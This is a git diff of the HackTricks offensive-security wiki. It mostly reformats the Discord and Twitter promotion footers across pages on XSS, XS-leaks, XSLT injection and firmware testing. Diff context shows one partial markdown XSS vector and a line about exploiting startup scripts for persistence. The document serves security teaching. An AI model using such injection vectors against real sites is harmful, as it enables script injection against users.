* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
</details>
@ -159,7 +159,7 @@ Let's check the code:
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
</details>

4
pentesting-web/xs-search/javascript-execution-xs-leak.md
View file

@ -7,7 +7,7 @@
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
</details>
@ -86,7 +86,7 @@ Main page that generates iframes to the previous `/guessing` page to test each p
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
</details>

4
pentesting-web/xs-search/performance.now-+-force-heavy-task.md
View file

@ -7,7 +7,7 @@
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
</details>
@ -125,7 +125,7 @@ Initially, I didn’t set object width and height, but later on, I found that it
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
</details>

4
pentesting-web/xs-search/performance.now-example.md
View file

@ -7,7 +7,7 @@
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
</details>
@ -63,7 +63,7 @@ document.addEventListener('DOMContentLoaded', main);
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
</details>

4
pentesting-web/xs-search/url-max-length-client-side.md
View file

@ -7,7 +7,7 @@
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
</details>
@ -89,7 +89,7 @@ if __name__ == '__main__':
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
</details>

4
pentesting-web/xslt-server-side-injection-extensible-stylesheet-language-transformations.md
View file

@ -7,7 +7,7 @@
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
</details>
@ -450,7 +450,7 @@ version="1.0">
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
</details>

4
pentesting-web/xss-cross-site-scripting/abusing-service-workers.md
View file

@ -9,7 +9,7 @@
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
</details>
@ -137,7 +137,7 @@ Find vulnerabilities that matter most so you can fix them faster. Intruder track
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
</details>

4
pentesting-web/xss-cross-site-scripting/chrome-cache-to-xss.md
View file

@ -7,7 +7,7 @@
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
</details>
@ -44,7 +44,7 @@ For further details on bfcache and disk cache, references can be found at [web.d
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
</details>

4
pentesting-web/xss-cross-site-scripting/dom-clobbering.md
View file

@ -7,7 +7,7 @@
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
</details>
@ -244,7 +244,7 @@ Click to send!
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
</details>

4
pentesting-web/xss-cross-site-scripting/dom-xss.md
View file

@ -7,7 +7,7 @@
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
</details>
@ -342,7 +342,7 @@ RegExp()
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
</details>

4
pentesting-web/xss-cross-site-scripting/iframes-in-xss-and-csp.md
View file

@ -7,7 +7,7 @@
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
</details>
@ -169,7 +169,7 @@ Check the following pages:
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
</details>

4
pentesting-web/xss-cross-site-scripting/other-js-tricks.md
View file

@ -7,7 +7,7 @@
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
</details>
@ -513,7 +513,7 @@ async function sleep(ms) {
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
</details>

4
pentesting-web/xss-cross-site-scripting/some-same-origin-method-execution.md
View file

@ -7,7 +7,7 @@
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
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</details>
@ -57,7 +57,7 @@ Moreover, in order for the second page to be able to use the opener object **bot
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</details>

4
pentesting-web/xss-cross-site-scripting/xss-in-markdown.md
View file

@ -7,7 +7,7 @@
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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</details>
@ -173,7 +173,7 @@ _http://danlec_@.1 style=background-image:url(
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</details>

2
physical-attacks/firmware-analysis/bootloader-testing.md
View file

@ -54,7 +54,7 @@ The following steps are recommended for modifying device startup configurations
**Note**: The steps involving physical interaction with device pins (*marked with asterisks) should be approached with extreme caution to avoid damaging the device.
# References
## References
* [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/)

2
physical-attacks/firmware-analysis/firmware-integrity.md
View file

@ -42,7 +42,7 @@ If a root shell has already been obtained through dynamic analysis, bootloader m
If possible, vulnerabilities within startup scripts can be exploited to gain persistent access to a device across reboots. These vulnerabilities arise when startup scripts reference, [symbolically link](https://www.chromium.org/chromium-os/chromiumos-design-docs/hardening-against-malicious-stateful-data), or depend on code located in untrusted mounted locations such as SD cards and flash volumes used for storing data outside of root filesystems.
# References
## References
